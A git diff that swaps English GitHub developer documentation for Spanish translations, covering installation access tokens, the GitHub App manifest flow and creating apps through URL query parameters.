 {% data variables.product.api_url_pre %}/app/installations
 ```
 
-The response will include a list of installations where each installation's `id` can be used for creating an installation access token. For more information about the response format, see "[List installations for the authenticated app](/rest/reference/apps#list-installations-for-the-authenticated-app)."
+La respuesta incluirá una lista de instalaciones en donde cada `id` de instalación pueda utilizarse para crear un token de acceso a la instalación. Para obtener más información acerca del formato de respuesta, consulta la "[Lista de instalaciones para la app autenticada](/rest/reference/apps#list-installations-for-the-authenticated-app)".
 
-To create an installation access token, include the JWT [generated above](#jwt-payload) in the Authorization header in the API request and replace `:installation_id` with the installation's `id`:
+Para crear un token de acceso a la instalación, incluye el JWT [que se generó anteriormente](#jwt-payload) en el encabezado de autorización en la solicitud de la API y reemplaza a `:installation_id` con la `id` de la instalación:
 
 ```shell
 $ curl -i -X POST \
@@ -143,9 +141,9 @@ $ curl -i -X POST \
 {% data variables.product.api_url_pre %}/app/installations/:installation_id/access_tokens
 ```
 
-The response will include your installation access token, the expiration date, the token's permissions, and the repositories that the token can access. For more information about the response format, see the [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app) endpoint.
+La respuesta incluirá tu token de acceso de instalación, la fecha de caducidad, los permisos del token, y los repositorios a los cuales tiene acceso. Para obtener más información acerca del formato de respuesta, consulta la terminal [Crear un token de acceso de instalación para una app](/rest/reference/apps#create-an-installation-access-token-for-an-app).
 
-To authenticate with an installation access token, include it in the Authorization header in the API request:
+Para autenticarte con un token de acceso de instalación, inclúyela en el encabezado de Autorización en la solicitud de la API:
 
 ```shell
 $ curl -i \
@@ -154,17 +152,17 @@ $ curl -i \
 {% data variables.product.api_url_pre %}/installation/repositories
 ```
 
-`YOUR_INSTALLATION_ACCESS_TOKEN` is the value you must replace.
+`YOUR_INSTALLATION_ACCESS_TOKEN` es el valor que debes reemplazar.
 
-## Accessing API endpoints as an installation
+## Acceder a las terminales de la API como una instalación
 
-For a list of REST API endpoints that are available for use by {% data variables.product.prodname_github_apps %} using an installation access token, see "[Available Endpoints](/rest/overview/endpoints-available-for-github-apps)."
+Para encontrar un listado de las terminales de la API de REST disponibles para utilizarse con las {% data variables.product.prodname_github_apps %} utilizando un token de acceso de instalación, consulta la sección "[Terminales Disponibles](/rest/overview/endpoints-available-for-github-apps)".
 
-For a list of endpoints related to installations, see "[Installations](/rest/reference/apps#installations)."
+Para encontrar un listad de terminales relacionado con las instalaciones, consulta la sección "[Instalaciones](/rest/reference/apps#installations)".
 
-## HTTP-based Git access by an installation
+## Acceso a Git basado en HTTP mediante una instalación
 
-Installations with [permissions](/apps/building-github-apps/setting-permissions-for-github-apps/) on `contents` of a repository, can use their installation access tokens to authenticate for Git access. Use the installation access token as the HTTP password:
+Las instalaciones con [permisos](/apps/building-github-apps/setting-permissions-for-github-apps/) en los `contents` de un repositorio pueden utilizar su token de acceso de instalación para autenticarse para acceso a Git. Utiliza el token de acceso de instalación como la contraseña HTTP:
 
 ```shell
 git clone https://x-access-token:&lt;token&gt;@github.com/owner/repo.git
diff --git a/translations/es-ES/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md b/translations/es-ES/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md
index e561cf3c93..9cc4977dd5 100644
--- a/translations/es-ES/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md
+++ b/translations/es-ES/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a GitHub App from a manifest
-intro: 'A GitHub App Manifest is a preconfigured GitHub App you can share with anyone who wants to use your app in their personal repositories. The manifest flow allows someone to quickly create, install, and start extending a GitHub App without needing to register the app or connect the registration to the hosted app code.'
+title: Crear una GitHub App a partir de un manifiesto
+intro: 'Un Manifiesto de una GitHub App es una GitHub App preconfigurada que puedes compartir con cualquiera que desée utilizar tu app en sus repositorios personales. El flujo del manifiesto les permite a los usuarios crear, instalar y comenzar a extender una GitHub App rápidamente sin necesidad de registrarla o de conectar el registro al código hospedado de la app.'
 redirect_from:
   - /apps/building-github-apps/creating-github-apps-from-a-manifest
   - /developers/apps/creating-a-github-app-from-a-manifest
@@ -11,79 +11,80 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: App creation manifest flow
+shortTitle: Flujo de manifiesto para la creación de Apps
 ---
-## About GitHub App Manifests
 
-When someone creates a GitHub App from a manifest, they only need to follow a URL and name the app. The manifest includes the permissions, events, and webhook URL needed to automatically register the app. The manifest flow creates the GitHub App registration and retrieves the app's webhook secret, private key (PEM file), and GitHub App ID. The person who creates the app from the manifest will own the app and can choose to [edit the app's configuration settings](/apps/managing-github-apps/modifying-a-github-app/), delete it, or transfer it to another person on GitHub.
+## Acerca de los Manifiestos de las GitHub Apps
 
-You can use [Probot](https://probot.github.io/) to get started with GitHub App Manifests or see an example implementation. See "[Using Probot to implement the GitHub App Manifest flow](#using-probot-to-implement-the-github-app-manifest-flow)" to learn more.
+Cuando alguien crea una GitHub App desde un manifiesto, únicamente necesitan seguir una URL y nombrar a la app. El manifiesto incluye los permisos, eventos, y URL de los webhooks que se necesiten para registrar la app automáticamente. El flujo del manifiesto crea el registro de la GitHub App y recupera el secreto del webhook, llave privada (archivo PEM), e ID de la GitHub App. Quien sea que cree la app desde el manifiesto será el propietario de la misma y podrá elegir [editar los ajustes de la configuración de seguridad de la app](/apps/managing-github-apps/modifying-a-github-app/), eliminarlos, o transferirlos a otra persona en GitHub.
 
-Here are some scenarios where you might use GitHub App Manifests to create preconfigured apps:
+Puedes utilizar al [Probot](https://probot.github.io/) para comenzar a utilizar los Manifiestos de las GitHub Apps o ver un ejemplo de implementación. Consulta la sección "[Utilizar al Probot para implementar el flujo del Manifiesto de las GitHub Apps](#using-probot-to-implement-the-github-app-manifest-flow)" para obtener más información.
 
-* Help new team members come up-to-speed quickly when developing GitHub Apps.
-* Allow others to extend a GitHub App using the GitHub APIs without requiring them to configure an app.
-* Create GitHub App reference designs to share with the GitHub community.
-* Ensure you deploy GitHub Apps to development and production environments using the same configuration.
-* Track revisions to a GitHub App configuration.
+Aquí te mostramos algunos escenarios en donde podrías utilizar los Manifiestos de las GitHub Apps para crear apps preconfiguradas:
 
-## Implementing the GitHub App Manifest flow
+* Para ayudar a los miembros nuevos del equipo a que se familiaricen rápidamente con el desarrollo de las GitHub Apps.
+* Para permitir que otros extiendan una GitHub App utilizando las API de GitHub sin que necesiten configurar dicha app.
+* Para crear diseños de referencia de GitHub Apps y compartirlos con la comunidad de GitHub.
+* Para garantizar que despliegas GitHub Apps en los ambientes de desarrollo y de producción utilizando la misma configuración.
+* Para rastrear las revisiones hechas en la configuración de una GitHub App.
 
-The GitHub App Manifest flow uses a handshaking process similar to the [OAuth flow](/apps/building-oauth-apps/authorizing-oauth-apps/). The flow uses a manifest to [register a GitHub App](/apps/building-github-apps/creating-a-github-app/) and receives a temporary `code` used to retrieve the app's private key, webhook secret, and ID.
+## Implementar el flujo del Manifiesto de una GitHub App
+
+El flujo del Manifiesto de una GitHub App utiliza un proceso de intercambio similar al del [flujo de OAuth](/apps/building-oauth-apps/authorizing-oauth-apps/). El flujo utiliza un manifiesto para [registrar una GitHub App](/apps/building-github-apps/creating-a-github-app/) y recibe un `code` temporal que se utiliza para recuperar la llave privada, webhoo, secreto, e ID de la misma.
 
 {% note %}
 
-**Note:** You must complete all three steps in the GitHub App Manifest flow within one hour.
+**Nota:** Tienes solo una hora para completar los tres pasos del flujo del Manifiesto de la GitHub App.
 
 {% endnote %}
 
-Follow these steps to implement the GitHub App Manifest flow:
+Sigue estos pasos par aimplementar el flujo del Manifiesto de la GitHub App:
 
-1. You redirect people to GitHub to create a new GitHub App.
-1. GitHub redirects people back to your site.
-1. You exchange the temporary code to retrieve the app configuration.
+1. Redireccionas a las personas a GitHub para crear una GitHub App Nueva.
+1. GitHub redirige a las personas de vuelta a tu sitio.
+1. Intercambias el código temporal para recuperar la configuración de la app.
 
-### 1. You redirect people to GitHub to create a new GitHub App
+### 1. Redireccionas a las personas a GitHub para crear una GitHub App Nueva
 
-To redirect people to create a new GitHub App, [provide a link](#examples) for them to click that sends a `POST` request to `https://github.com/settings/apps/new` for a user account or `https://github.com/organizations/ORGANIZATION/settings/apps/new` for an organization account, replacing `ORGANIZATION` with the name of the organization account where the app will be created.
+Para redireccionar a las personas a crear una GitHub App nueva, [proporciona un enlace](#examples) para que ellos den clic y envíen una solicitud de `POST` a `https://github.com/settings/apps/new` para una cuenta de usuario o a `https://github.com/organizations/ORGANIZATION/settings/apps/new` para una cuenta de organización, reemplazando `ORGANIZATION` con el nombre de la cuenta de organización en donde se creará la app.
 
-You must include the [GitHub App Manifest parameters](#github-app-manifest-parameters) as a JSON-encoded string in a parameter called `manifest`. You can also include a `state` [parameter](#parameters) for additional security.
+Debes incluir los [Parámetros del Manifiesto de la GitHub App](#github-app-manifest-parameters) como una secuencia cifrada con JSON en un parámetro que se llame `manifest`. También puedes incluir un [parámetro](#parameters) de `state` para agregar seguridad adicional.
 
-The person creating the app will be redirected to a GitHub page with an input field where they can edit the name of the app you included in the `manifest` parameter. If you do not include a `name` in the `manifest`, they can set their own name for the app in this field.
+Se redirigirá al creador de la app a una página de GitHub en donde encontrará un campo de entrada y ahí podrá editar el nombre de la app que incluiste en el parámetro de `manifest`. Si no incluyes un `name` en el `manifest`, podrán configurar un nombre de su elección para la app en este campo.
 
-![Create a GitHub App Manifest](/assets/images/github-apps/create-github-app-manifest.png)
+![Crear un Manifiesto de una GitHub App](/assets/images/github-apps/create-github-app-manifest.png)
 
-#### GitHub App Manifest parameters
+#### Parámetros del Manifiesto de la GitHub App
 
- Name | Type | Description
------|------|-------------
-`name` | `string` | The name of the GitHub App.
-`url` | `string` | **Required.** The homepage of your GitHub App.
-`hook_attributes` | `object` | The configuration of the GitHub App's webhook.
-`redirect_url` | `string` | The full URL to redirect to after a user initiates the creation of a GitHub App from a manifest.{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
-`callback_urls` | `array of strings` | A full URL to redirect to after someone authorizes an installation. You can provide up to 10 callback URLs.{% else %}
-`callback_url` | `string` |  A full URL to redirect to after someone authorizes an installation.{% endif %}
-`description` | `string` | A description of the GitHub App.
-`public` | `boolean` | Set to `true` when your GitHub App is available to the public or `false` when it is only accessible to the owner of the app.
-`default_events` | `array` | The list of [events](/webhooks/event-payloads) the GitHub App subscribes to.
-`default_permissions` | `object` | The set of [permissions](/rest/reference/permissions-required-for-github-apps) needed by the GitHub App. The format of the object uses the permission name for the key (for example, `issues`) and the access type for the value (for example, `write`).
+ | Nombre                | Tipo                     | Descripción                                                                                                                                                                                                                                                     |
+ | --------------------- | ------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+ | `name (nombre)`       | `secuencia`              | El nombre dela GitHub App.                                                                                                                                                                                                                                      |
+ | `url`                 | `secuencia`              | **Requerido.** La página principal de tu GitHub App.                                                                                                                                                                                                            |
+ | `hook_attributes`     | `objeto`                 | La configuración del webhook de la GitHub App.                                                                                                                                                                                                                  |
+ | `redirect_url`        | `secuencia`              | La URL completa a la cual redirigir después de que el usuario incia la creación de una GitHub App desde un manifiesto.{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
+ | `callback_urls`       | `conjunto de secuencias` | Una URL completa a la cual redirigir cuando alguien autorice una instalación. Puedes proporcionar hasta 10 URL de rellamado.{% else %}
+ | `callback_url`        | `secuencia`              | Una URL completa a la cual redirigir cuando alguien autoriza una instalación.{% endif %}
+ | `descripción`         | `secuencia`              | Una descripción de la GitHub App.                                                                                                                                                                                                                               |
+ | `public`              | `boolean`                | Configúralo como `true` cuando tu GitHub App esté disponible al público o como `false` si solo puede acceder el propietario de la misma.                                                                                                                        |
+ | `default_events`      | `arreglo`                | La lista de [eventos](/webhooks/event-payloads) a la cual se suscribe la GitHub App.                                                                                                                                                                            |
+ | `default_permissions` | `objeto`                 | El conjunto de [permisos](/rest/reference/permissions-required-for-github-apps) que requiere la GitHub App. El formato del objeto utiliza el nombre del permiso para la clave (por ejemplo, `issues`) y el tipo de acceso para el valor (por ejemplo, `write`). |
 
-The `hook_attributes` object has the following key:
+El objeto `hook_attributes` tiene la siguiente clave:
 
-Name | Type | Description
------|------|-------------
-`url` | `string` | **Required.** The URL of the server that will receive the webhook `POST` requests.
-`active` | `boolean` | Deliver event details when this hook is triggered, defaults to true.
+| Nombre   | Tipo        | Descripción                                                                                   |
+| -------- | ----------- | --------------------------------------------------------------------------------------------- |
+| `url`    | `secuencia` | **Requerido.** La URL del servidor que recibirá las solicitudes de `POST` del webhook.        |
+| `active` | `boolean`   | Entrega detalles del evento cuando se activa este gancho y su valor predeterminado es "true". |
 
-#### Parameters
+#### Parámetros
 
- Name | Type | Description
------|------|-------------
-`state`| `string` | {% data reusables.apps.state_description %}
+ | Nombre  | Tipo        | Descripción                                 |
+ | ------- | ----------- | ------------------------------------------- |
+ | `state` | `secuencia` | {% data reusables.apps.state_description %}
 
-#### Examples
+#### Ejemplos
 
-This example uses a form on a web page with a button that triggers the `POST` request for a user account:
+Este ejemplo utiliza un formato en una página web con un botón que activa la solicitud de tipo `POST` para una cuenta de usuario:
 
 ```html
 <form action="https://github.com/settings/apps/new?state=abc123" method="post">
@@ -118,7 +119,7 @@ This example uses a form on a web page with a button that triggers the `POST` re
 </script>
 ```
 
-This example uses a form on a web page with a button that triggers the `POST` request for an organization account. Replace `ORGANIZATION` with the name of the organization account where you want to create the app.
+Este ejemplo utiliza un formato en una página web con un botón que activa la solicitud de tipo `POST` para una cuenta de organización. Reemplaza a `ORGANIZATION` con el nombre de la cuenta de organización en donde quieras crear la app.
 
 ```html
 <form action="https://github.com/organizations/ORGANIZATION/settings/apps/new?state=abc123" method="post">
@@ -153,49 +154,49 @@ This example uses a form on a web page with a button that triggers the `POST` re
 </script>
 ```
 
-### 2. GitHub redirects people back to your site
+### 2. GitHub redirige a las personas de vuelta a tu sitio
 
-When the person clicks **Create GitHub App**, GitHub redirects back to the `redirect_url` with a temporary `code` in a code parameter. For example:
+Cuando la persona dé clic en **Crear GitHub App**, Github lo redirigirá a la `redirect_url` con un `code` temporal en un parámetro de código. Por ejemplo:
 
     https://example.com/redirect?code=a180b1a3d263c81bc6441d7b990bae27d4c10679
 
-If you provided a `state` parameter, you will also see that parameter in the `redirect_url`. For example:
+Si proporcionaste un parámetro de `state`, también verás este parámetro en la `redirect_url`. Por ejemplo:
 
     https://example.com/redirect?code=a180b1a3d263c81bc6441d7b990bae27d4c10679&state=abc123
 
-### 3. You exchange the temporary code to retrieve the app configuration
+### 3. Intercambias el código temporal para recuperar la configuración de la app
 
-To complete the handshake, send the temporary `code` in a `POST` request to the [Create a GitHub App from a manifest](/rest/reference/apps#create-a-github-app-from-a-manifest) endpoint. The response will include the `id` (GitHub App ID), `pem` (private key), and `webhook_secret`. GitHub creates a webhook secret for the app automatically. You can store these values in environment variables on the app's server. For example, if your app uses [dotenv](https://github.com/bkeepers/dotenv) to store environment variables, you would store the variables in your app's `.env` file.
+Para completar el intercambio, envía el `code` temporal en una solicitud de tipo `POST` a la terminal [Crear una Github App a partir de un manifiesto](/rest/reference/apps#create-a-github-app-from-a-manifest). La respuesta incluirá la `id` (GitHub App ID), la `pem` (llave privada), y el `webhook_secret`. GitHub crea un secreto de webhook para la app de forma automática. Puedes almacenar estos valores en variables de ambiente dentro del servidor de la app. Por ejemplo, si tu app utiliza [dotenv](https://github.com/bkeepers/dotenv) para almacenar las variables de ambiente, almacenarías las variables en el archivo `.env` de tu app.
 
-You must complete this step of the GitHub App Manifest flow within one hour.
+Tienes solo una hora para completar este paso en el flujo del Manifiesto de la GitHub App.
 
 {% note %}
 
-**Note:** This endpoint is rate limited. See [Rate limits](/rest/reference/rate-limit) to learn how to get your current rate limit status.
+**Nota:** Esta terminal tiene un límite de tasa. Consulta la sección [Límites de tasa](/rest/reference/rate-limit) para aprender cómo obtener tu estado actual de límite de tasa.
 
 {% endnote %}
 
     POST /app-manifests/{code}/conversions
 
-For more information about the endpoint's response, see [Create a GitHub App from a manifest](/rest/reference/apps#create-a-github-app-from-a-manifest).
+Para obtener más información acerca de la respuesta de la terminal, consulta la sección [Crear una GitHub App desde un manifiesto](/rest/reference/apps#create-a-github-app-from-a-manifest).
 
-When the final step in the manifest flow is completed, the person creating the app from the flow will be an owner of a registered GitHub App that they can install on any of their personal repositories. They can choose to extend the app using the GitHub APIs, transfer ownership to someone else, or delete it at any time.
+Cuando se complete el último paso del flujo del manifiesto, la persona que cree la app desde el flujo será el propietario de una GitHub App registrada que podrá instalar en cualquiera de sus repositorios personales. En cualquier momento podrán elegir extender la app utilizando las API de GitHub, transferir la propiedad a alguien más, o borrarla.
 
-## Using Probot to implement the GitHub App Manifest flow
+## Utilizar el Probot par aimplementar el flujo del Manifiesto de la GitHub App
 
-[Probot](https://probot.github.io/) is a framework built with [Node.js](https://nodejs.org/) that performs many of the tasks needed by all GitHub Apps, like validating webhooks and performing authentication. Probot implements the [GitHub App manifest flow](#implementing-the-github-app-manifest-flow), making it easy to create and share GitHub App reference designs with the GitHub community.
+El [Probot](https://probot.github.io/) es un marco de trabajo que se creó con [Node.js](https://nodejs.org/) y que realiza muchas de las tareas que todas las GitHub Apps requieren, como el validar webhooks y llevar a cabo la autenticación. El Probot implementa el [flujo del manifiesto de las GitHub Apps](#implementing-the-github-app-manifest-flow), lo cual facilita el crear y compartir los diseños de referencia de las GitHub Apps con la comunidad de GtiHub.
 
-To create a Probot App that you can share, follow these steps:
+Para crear una App de Probot que puedas compartir, sigue estos pasos:
 
-1. [Generate a new GitHub App](https://probot.github.io/docs/development/#generating-a-new-app).
-1. Open the project you created, and customize the settings in the `app.yml` file. Probot uses the settings in `app.yml` as the [GitHub App Manifest parameters](#github-app-manifest-parameters).
-1. Add your application's custom code.
-1. [Run the GitHub App locally](https://probot.github.io/docs/development/#running-the-app-locally) or [host it anywhere you'd like](#hosting-your-app-with-glitch). When you navigate to the hosted app's URL, you'll find a web page with a **Register GitHub App** button that people can click to create a preconfigured app. The web page below is Probot's implementation of [step 1](#1-you-redirect-people-to-github-to-create-a-new-github-app) in the GitHub App Manifest flow:
+1. [Genera una GitHub App Nueva](https://probot.github.io/docs/development/#generating-a-new-app).
+1. Abre el proyecto que creaste y personaliza la configuración en el archivo `app.yml`. El Probot utiliza la configuración en `app.yml` como los [parámetros del manifiesto dela GitHub App](#github-app-manifest-parameters).
+1. Agrega el código personalizado de tu aplicación.
+1. [Ejecuta la GitHub App localmente](https://probot.github.io/docs/development/#running-the-app-locally) u [hospédala en donde quieras](#hosting-your-app-with-glitch). Cuando navegues a la URL de la app hospedada, encontrarás una página web con un botón de **Registrar GitHub App** en el que as personas podrán dar clic para crear una app preconfigurada. La siguiente página web es la implementación del Probot para el [paso 1](#1-you-redirect-people-to-github-to-create-a-new-github-app) en el flujo del Manifiesto de la GitHub App:
 
-![Register a Probot GitHub App](/assets/images/github-apps/github_apps_probot-registration.png)
+![Registrar una GitHub App de Probot](/assets/images/github-apps/github_apps_probot-registration.png)
 
-Using [dotenv](https://github.com/bkeepers/dotenv), Probot creates a `.env` file and sets the `APP_ID`, `PRIVATE_KEY`, and `WEBHOOK_SECRET` environment variables with the values [retrieved from the app configuration](#3-you-exchange-the-temporary-code-to-retrieve-the-app-configuration).
+Al utilizar [dotenv](https://github.com/bkeepers/dotenv), el Probot crea un archivo de tipo `.env` y configura las variables de ambiente para la `APP_ID`, `PRIVATE_KEY`, y el `WEBHOOK_SECRET` con los valores que [recupera de la configuración de la app](#3-you-exchange-the-temporary-code-to-retrieve-the-app-configuration).
 
-### Hosting your app with Glitch
+### Hospedar tu app con Glitch
 
-You can see an [example Probot app](https://glitch.com/~auspicious-aardwolf) that uses [Glitch](https://glitch.com/) to host and share the app. The example uses the [Checks API](/rest/reference/checks) and selects the necessary Checks API events and permissions in the `app.yml` file. Glitch is a tool that allows you to "Remix your own" apps. Remixing an app creates a copy of the app that Glitch hosts and deploys. See "[About Glitch](https://glitch.com/about/)" to learn about remixing Glitch apps.
+Puedes ver un ejemplo de una [App de Probot de muestra](https://glitch.com/~auspicious-aardwolf) que utiliza [Glitch](https://glitch.com/) para hospedar y compartir la app. El ejemplo utiliza la [API de verificaciones](/rest/reference/checks) y selecciona los eventos necesarios de la misma y los permisos en el archivo `app.yml`. Glitch es una herramienta que te permite "Remezclar tus propias apps". El remezclar una app crea una copia de la app que Glitch hospeda y despliega. Consulta la sección "[Acerca de Glitch](https://glitch.com/about/)" para aprender sobre cómo remezclar las apps de Glitch.
diff --git a/translations/es-ES/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md b/translations/es-ES/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md
index 4c41f66d9e..757b5bd7df 100644
--- a/translations/es-ES/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md
+++ b/translations/es-ES/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a GitHub App using URL parameters
-intro: 'You can preselect the settings of a new {% data variables.product.prodname_github_app %} using URL [query parameters](https://en.wikipedia.org/wiki/Query_string) to quickly set up the new {% data variables.product.prodname_github_app %}''s configuration.'
+title: Crear una GitHub App utilizando parámetros de URL
+intro: 'Puedes preseleccionar los ajustes de una nueva {% data variables.product.prodname_github_app %} utilizando [parámetros de consulta] de una URL (https://en.wikipedia.org/wiki/Query_string) para configurar rápidamente los nuevos ajustes de la {% data variables.product.prodname_github_app %}.'
 redirect_from:
   - /apps/building-github-apps/creating-github-apps-using-url-parameters
   - /developers/apps/creating-a-github-app-using-url-parameters
@@ -11,22 +11,23 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: App creation query parameters
+shortTitle: Parámetros de consulta para la creción de apps
 ---
-## About {% data variables.product.prodname_github_app %} URL parameters
 
-You can add query parameters to these URLs to preselect the configuration of a {% data variables.product.prodname_github_app %} on a personal or organization account:
+## Acerca de los parámetros de URL de las {% data variables.product.prodname_github_app %}
 
-* **User account:** `{% data variables.product.oauth_host_code %}/settings/apps/new`
-* **Organization account:** `{% data variables.product.oauth_host_code %}/organizations/:org/settings/apps/new`
+Puedes agregar parámetros de consulta a estas URL para preseleccionar la configuración de una {% data variables.product.prodname_github_app %} en una cuenta organizacional o personal:
 
-The person creating the app can edit the preselected values from the {% data variables.product.prodname_github_app %} registration page, before submitting the app. If you do not include required parameters in the URL query string, like `name`, the person creating the app will need to input a value before submitting the app.
+* **Cuenta de usuario:** `{% data variables.product.oauth_host_code %}/settings/apps/new`
+* **Cuenta organizacional:** `{% data variables.product.oauth_host_code %}/organizations/:org/settings/apps/new`
+
+El creador de la app puede editar los valores preseleccionados desde la página de registro de la {% data variables.product.prodname_github_app %} antes de emitirla. Si no incluyes los parámetros requeridos en la secuencia de consulta de la URL, como el `name`, el creador de la app necesitará ingresar un valor antes de emitirla.
 
 {% ifversion ghes > 3.1 or fpt or ghae or ghec %}
-For apps that require a secret to secure their webhook, the secret's value must be set in the form by the person creating the app, not by using query parameters. For more information, see "[Securing your webhooks](/developers/webhooks-and-events/webhooks/securing-your-webhooks)."
+En el caso de las apps que requieren que un secreto asegure su webhook, la persona que crea la app debe configurar el valor de dicho secreto y no se debe hacer utilizando parámetros de consulta. Para obtener más información, consulta la sección "[Asegurar tus webhooks](/developers/webhooks-and-events/webhooks/securing-your-webhooks)".
 {% endif %}
 
-The following URL creates a new public app called `octocat-github-app` with a preconfigured description and callback URL. This URL also selects read and write permissions for `checks`, subscribes to the `check_run` and `check_suite` webhook events, and selects the option to request user authorization (OAuth) during installation:
+La siguiente URL crea una app pública nueva que se llama `octocat-github-app` con una descripción preconfigurada y una URL de rellamado. Esta URL también selecciona los permisos de lectura y escritura para las `checks`, se suscribe a los eventos de webhook de `check_run` y `check_suite`, y selecciona la opción para solicitar la autorización del usuario (OAuth) durante la instalación:
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
@@ -42,102 +43,102 @@ The following URL creates a new public app called `octocat-github-app` with a pr
 
 {% endif %}
 
-The complete list of available query parameters, permissions, and events is listed in the sections below.
+La lista completa de parámetros de consulta, permisos y eventos disponibles se lista en las secciones siguientes.
 
-## {% data variables.product.prodname_github_app %} configuration parameters
+## Parámetros de configuración de una {% data variables.product.prodname_github_app %}
 
- Name | Type | Description
------|------|-------------
-`name` | `string` | The name of the {% data variables.product.prodname_github_app %}. Give your app a clear and succinct name. Your app cannot have the same name as an existing GitHub user, unless it is your own user or organization name. A slugged version of your app's name will be shown in the user interface when your integration takes an action.
-`description` | `string` | A description of the {% data variables.product.prodname_github_app %}.
-`url` | `string` | The full URL of your {% data variables.product.prodname_github_app %}'s website homepage.{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
-`callback_urls` | `array of strings` | A full URL to redirect to after someone authorizes an installation. You can provide up to 10 callback URLs. These URLs are used if your app needs to identify and authorize user-to-server requests. For example, `callback_urls[]=https://example.com&callback_urls[]=https://example-2.com`.{% else %}
-`callback_url` | `string` | The full URL to redirect to after someone authorizes an installation. This URL is used if your app needs to identify and authorize user-to-server requests.{% endif %}
-`request_oauth_on_install` | `boolean` | If your app authorizes users using the OAuth flow, you can set this option to `true` to allow people to authorize the app when they install it, saving a step. If you select this option, the `setup_url` becomes unavailable and users will be redirected to your `callback_url` after installing the app.
-`setup_url` | `string` | The full URL to redirect to after someone installs the {% data variables.product.prodname_github_app %} if the app requires additional setup after installation.
-`setup_on_update` | `boolean` | Set to `true` to redirect people to the setup URL when installations have been updated, for example, after repositories are added or removed.
-`public` | `boolean` | Set to `true` when your {% data variables.product.prodname_github_app %} is available to the public or `false` when it is only accessible to the owner of the app.
-`webhook_active` | `boolean` | Set to `false` to disable webhook. Webhook is enabled by default.
-`webhook_url` | `string` | The full URL that you would like to send webhook event payloads to.
-{% ifversion ghes < 3.2 or ghae %}`webhook_secret` | `string` | You can specify a secret to secure your webhooks. See "[Securing your webhooks](/webhooks/securing/)" for more details.
-{% endif %}`events` | `array of strings` | Webhook events. Some webhook events require `read` or `write` permissions for a resource before you can select the event when registering a new {% data variables.product.prodname_github_app %}. See the "[{% data variables.product.prodname_github_app %} webhook events](#github-app-webhook-events)" section for available events and their required permissions. You can select multiple events in a query string. For example, `events[]=public&events[]=label`.{% ifversion ghes < 3.4 %}
-`domain` | `string` | The URL of a content reference.{% endif %}
-`single_file_name` | `string` | This is a narrowly-scoped permission that allows the app to access a single file in any repository. When you set the `single_file` permission to `read` or `write`, this field provides the path to the single file your {% data variables.product.prodname_github_app %} will manage. {% ifversion fpt or ghes or ghec %} If you need to manage multiple files, see `single_file_paths` below. {% endif %}{% ifversion fpt or ghes or ghec %}
-`single_file_paths` | `array of strings` | This allows the app to access up ten specified files in a repository. When you set the `single_file` permission to `read` or `write`, this array can store the paths for up to ten files that your {% data variables.product.prodname_github_app %} will manage. These files all receive the same permission set by `single_file`, and do not have separate individual permissions. When two or more files are configured, the API returns `multiple_single_files=true`, otherwise it returns `multiple_single_files=false`.{% endif %}
+ | Nombre                                             | Tipo                     | Descripción                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
+ | -------------------------------------------------- | ------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+ | `name (nombre)`                                    | `secuencia`              | El nombre de la {% data variables.product.prodname_github_app %}. Pónle un nombre claro y breve a tu app. Tu app no puede tener el mismo nombre que un usuario de GitHub, a menos de que sea tu propio nombre de usuario u organización. Una versión simplificada del nombre de tu aplicación se mostrará en la interface de usuario cuando tu integración tome alguna acción.                                                                                                                                                                                                          |
+ | `descripción`                                      | `secuencia`              | Una descripción de la {% data variables.product.prodname_github_app %}.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
+ | `url`                                              | `secuencia`              | La URL completa de tu página principal del sitio web de la {% data variables.product.prodname_github_app %}.{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
+ | `callback_urls`                                    | `conjunto de secuencias` | Una URL completa a la cual redirigir cuando alguien autorice una instalación. Puedes proporcionar hasta 10 URL de rellamado. Estas URL se utilizan si tu app necesita identificar y autorizar solicitudes de usuario a servidor. Por ejemplo, `callback_urls[]=https://example.com&callback_urls[]=https://example-2.com`.{% else %}
+ | `callback_url`                                     | `secuencia`              | La URL completa a la cual se redirigirá después de que alguien autorice la instalación. Esta URL se utiliza si tu app necesita identificar y autorizar solicitudes de usuario a servidor.{% endif %}
+ | `request_oauth_on_install`                         | `boolean`                | Si tu app autoriza a los usuarios mediante el flujo de OAuth, puedes configurar esta opción como `true` para permitir que las personas autoricen la app cuando la instalen, lo cual te ahorra un paso. Si seleccionas esta opción, la `setup_url` deja de estar disponible y se redirigirá a los usuarios a tu `callback_url` después de que instalen la app.                                                                                                                                                                                                                             |
+ | `setup_url`                                        | `secuencia`              | La URL completa a la cual se redirigirá después de que instalen la {% data variables.product.prodname_github_app %} si ésta requiere de alguna configuración adicional después de su instalación.                                                                                                                                                                                                                                                                                                                                                                                       |
+ | `setup_on_update`                                  | `boolean`                | Configúralo como `true` para redireccionar a las personas a la URL de ajustes cuando las instalaciones se actualicen, por ejemplo, después de que se agreguen o eliminen repositorios.                                                                                                                                                                                                                                                                                                                                                                                                    |
+ | `public`                                           | `boolean`                | Configúralo como `true` cuando tu {% data variables.product.prodname_github_app %} se encuentre disponible al público, o como `false` cuando solo el propietario de la misma tenga acceso a ella.                                                                                                                                                                                                                                                                                                                                                                                       |
